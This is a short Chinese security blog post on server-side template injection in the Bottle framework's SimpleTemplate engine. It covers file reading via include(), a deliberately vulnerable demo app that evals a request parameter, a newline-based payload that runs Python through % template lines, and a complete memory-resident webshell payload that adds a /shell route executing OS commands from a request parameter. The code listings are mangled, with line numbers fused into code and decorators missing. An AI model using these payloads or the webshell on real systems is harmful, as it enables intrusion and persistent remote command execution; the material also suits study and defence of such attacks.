本人对于bottle框架下中无大括号ssti的一些思考以及内存马的挖掘
SimpleTemplate
SimpleTemplate是bollte框架下的一款模板渲染引擎其内置了相当多的函数,也有一些不同于jinja2的trick如下
include 文件读取

这个函数我们从介绍可以发现其是导入一个子模板,并将结果导入模板,虽然他的官方文档写的是1
2
3% include('header.tpl', title='Page Title')
Page Content
% include('footer.tpl')
但是其并没用对导入的模板文件进行检测,所以当我们输入{{include(app.py)}}
就可以进行任意文件读取,好像只有web目录
% 与<%
Bollte的模板是SimpleTemplate 模板引擎,里面有一个挺有趣的操作就是<%%>与%,我们可以利用上面的来执行python代码。

这样我们再SSTI时就会有很多的操作。
像如下demo。1
2
3
4
5
6
7
8
9
10
11
12
13
14from bottle import template, Bottle,request,error
app = Bottle()
def index():
result = eval(request.params.get('cmd'))
return template('Hello {{result}}, how are you?',result)
def index():
return 'Hello world'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888,debug=True)
当我们传入的值为%0A% print(1)%0A
可以发现终端成功输出1
剩下的怎么执行命令我就不赘述了
内存马的挖掘
首先我先给出一篇https://forum.butian.net/share/4048
上面的这篇文章已经很详细的给出了挖掘的一些内存马,所以我们只要简单的修改即可
像下面这样1
2
3
4% from bottle import Bottle, request
% app=__import__('sys').modules['__main__'].__dict__['app']
% app.route("/shell","GET",lambda :__import__('os').popen(request.params.get('lalala')).read())
因为我们执行的是任意py代码所以我们能做到的不只是普通的内存吗,还可以做到请求头回显,以及404,500等硬编码的错误回显